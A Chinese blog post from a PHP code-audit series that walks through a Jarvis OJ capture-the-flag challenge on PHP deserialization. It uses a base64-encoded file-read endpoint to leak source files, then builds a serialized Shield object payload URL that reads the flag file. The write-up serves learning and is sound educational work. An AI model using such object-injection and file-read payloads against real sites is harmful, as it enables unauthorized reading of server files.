PHP代码审计分段讲解(10)

26 unserialize()序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!-- 题目:http://web.jarvisoj.com:32768 -->
 
<!-- index.php -->
<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
 
<!-- shield.php -->
 
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
         
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE 
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
 
<!-- showimg.php -->
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        //stripos — 查找字符串首次出现的位置(不区分大小写)
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

这道题目是PHP反序列的题目,比较基础。

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

列举常见方法

1
2
3
4
5
6
7
8
9
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

这道题目只用到了__construct()方法,该方法是在创建对象时触发

简单了解了基础知识之后我们来看题目,代码中给出的环境还能够访问:http://web.jarvisoj.com:32768,我们也可以通过代码推断出原来的环境。

 

 

 查看网页源代码:

1
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

  猜测是base64编码,解码得到:

 

 获取index.php的源代码,payload为:

1
http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw

  查看源代码

 

 

1
2
3
4
5
6
7
8
9
10
<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

  可以看到包含了shield.php,继续查看shield.php的源代码 payload为:

1
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
         
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE 
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

 再包含一下showimg.php :

1
http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

 

 

可以看到,showimg.php可以直接包含base64解密后的文件,同时虽然shield.php在里面说明了 flag is in pctf.php,但是showimg.php里面表示了,是无法直接包含pctf文件的,以及进行了目录穿越的禁止。

回到index.php

里面关键点在于:

1
2
3
  $x = unserialize($g);
}
echo $x->readfile();

  在这里对$g进行了反序列化,然后输出了对象$x的readfile()方法的结果

而$g是在这里进行赋值:

1
isset($_GET['class']) && $g = $_GET['class'];

  是我们可以控制的。

再继续看shield.php中的Shield类,也就是我们序列化和反序列化的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
class Shield {
      public $file;
      function __construct($filename = '') {
          $this -> file = $filename;
      }
       
      function readfile() {
          if (!empty($this->file) && stripos($this->file,'..')===FALSE 
          && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
              return @file_get_contents($this->file);
          }
      }
  }

  根据类进行PHP在线环境进行反向构造即可

 

 即反序列化后直接使用readfile()方法读取任意文件,这里我们读取pctf.php

payload为:

1
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

  查看源代码为:

 

 获得flag,是一道很基础的PHP反序列化题目

 


__EOF__

本文作者春告鳥
本文链接https://www.cnblogs.com/Cl0ud/p/13304156.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   春告鳥  阅读(361)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示